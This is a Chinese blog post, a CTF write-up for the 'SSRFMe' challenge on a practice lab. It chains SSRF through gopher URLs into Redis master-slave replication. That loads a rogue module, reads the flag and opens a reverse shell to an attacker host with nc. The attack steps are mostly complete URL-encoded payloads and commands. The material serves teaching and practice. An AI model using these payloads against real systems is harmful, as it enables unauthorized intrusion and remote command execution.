freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe
8848 2021-10-27 14:27:44 317950

前言

刚完整复现一遍redis,然后重新打了一下这道题
SSRF+本地redis主从复制RCE组合拳拿shell

拿不到flag+反弹shell的惨案到此为止吧,跟我一步步拿shell

redis漏洞利用姿势原文https://www.sec-in.com/article/1309

一、环境说明

buuoj靶场

https://buuoj.cn/

攻击机kali-公网(普通的centos和ubuntu机子一样效果)

二、打靶机

注意:现在buuoj的这台靶机已经可以出网了,有公网服务器直接用自己服务器就好,没有的话再去考虑搞小号开linux小靶机

1 访问靶机

http://44841d7f-8e24-426e-8e42-59ab4ce4b488.node4.buuoj.cn:81/

image-20211025183245770

2 获取redis密码

使用0.0.0.0的ip地址绕过check_inner_ip() 函数,访问hint.php得到redis密码

/?url=http://0.0.0.0/hint.php
密码
root

image-20211025183300007

用本地主从复制打它,利用目录为万能的/tmp

3 攻击机开启主服务器

下载前面用到的两个工具,
https://github.com/n0b0dyCN/redis-rogue-server
# redis-rogue-server,未授权使用

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
# Awsome-Redis-Rogue-Server,有授权使用

将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块

开启主服务

# lport就是指定攻击机的ip和端口的,默认15000端口,-v和-path前面说过了
python3 redis_rogue_server.py -v -path exp.so -lport 21000

image-20211025182818891

4 ssrf gopher联动redies拿flag

payload中第一行就是payload,下面的是解码结果方便查看。%0a是换行,%250a是因为%编码之后是%25(都是url编码两次)

然后我把自己的攻击机服务器的ip地址改成了1.xx.xx.xx,记得改回来,全局替换即可

5 设置备份路径

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

image-20211025183404424

6 加载exp.so

重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地),退出

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 1.xx.xx.xx 21000
quit

image-20211025183506156

执行之后,主从同步能够看到回显,会一直同步image-20211025183655208

7 加载模块

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit

image-20211025183848330

8 关闭关闭主从同步

gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

关闭成功后主服务会停止同步,提示PONG啥的

image-20211025184034576

9 导出数据库

(设置备份文件名字)

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit

image-20211025184544849

10 获取flag

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

image-20211025185709526

11 反弹shell

先在攻击机监听6666端口

nc -lvvp 6666

image-20211025184649881

执行反弹

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%25201.xx.xx.xx%25206666%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.rev 1.xx.xx.xx 6666
quit

image-20211025184811545

image-20211025185153741

# CTF # 网鼎杯 # ssrfme # redis主从复制
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 8848 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
8848 LV.5
alert('1')
  • 40 文章数
  • 142 关注者
新款信息收集神器:0.zone
2022-05-25
upload-labs二次渲染之png写入PLTE 数据块
2021-12-16
GitLab 远程命令执行漏洞复现(CVE-2021-22205)
2021-11-02
文章目录